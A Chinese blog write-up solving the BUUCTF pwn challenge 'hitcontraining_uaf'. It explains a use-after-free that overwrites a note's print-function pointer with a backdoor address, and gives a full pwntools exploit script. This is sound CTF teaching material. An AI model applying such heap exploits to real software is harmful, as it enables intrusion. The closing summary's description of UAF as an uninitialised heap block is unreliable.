hitcontraining_uaf
使用checksec查看:

看题目名,应该是用UAF去解题
拉进IDA中看下add函数:

可以发现,add一个note会malloc两个堆,第一个堆不可控,大小默认为0x8,储存函数。第二个堆是用户可控的context。
本来是想看Edit函数的,结果发现这个程序并没有这个函数,给的是print:

print调用的是add_note中第一个chunk指针指向的内容,也就是print_note_content进行输出操作。
那就只能从print_note_content下手了。
在程序中查找一下字符串,可以发现/bin/sh,跟进查看函数:

拿到函数的地址:0x8048945
接下来思路就很明了了
- 申请两个chunk
- free掉这两个chunk
- 再申请一个chunk,大小为
0x8,这样就能将刚刚申请两个chunk时系统自动申请的两个chunk拿来用了,context处写入getshell的地址:0x8048945 - 调用print_not就变成了getshell
exp:
from pwn import*
# r = remote('node4.buuoj.cn',25488)
r = process('../buu/hitcontraining_uaf')
def add(size,content):
r.sendlineafter('choice :','1')
r.sendlineafter('Note size :',str(size))
r.sendlineafter('Content :',content)
def delete(idx):
r.sendlineafter('choice :','2')
r.sendlineafter('Index :',str(idx))
def printf(idx):
r.sendlineafter('choice :','3')
r.sendlineafter('Index :',str(idx))
shell_addr = 0x8048945
add(0x10,'M')
add(0x10,'M')
delete(0)
delete(1)
add(0x8,p32(shell_addr))
printf(0)
r.interactive()
该博客详细介绍了如何利用未初始化的堆块(Use-After-Free, UAF)漏洞在程序中执行getshell。通过分析程序功能,发现存在对chunk的控制机会,通过申请、释放和重新分配内存,最终成功将print_note_content函数指向getshell的地址,实现远程命令执行。
1047

被折叠的 条评论
为什么被折叠?



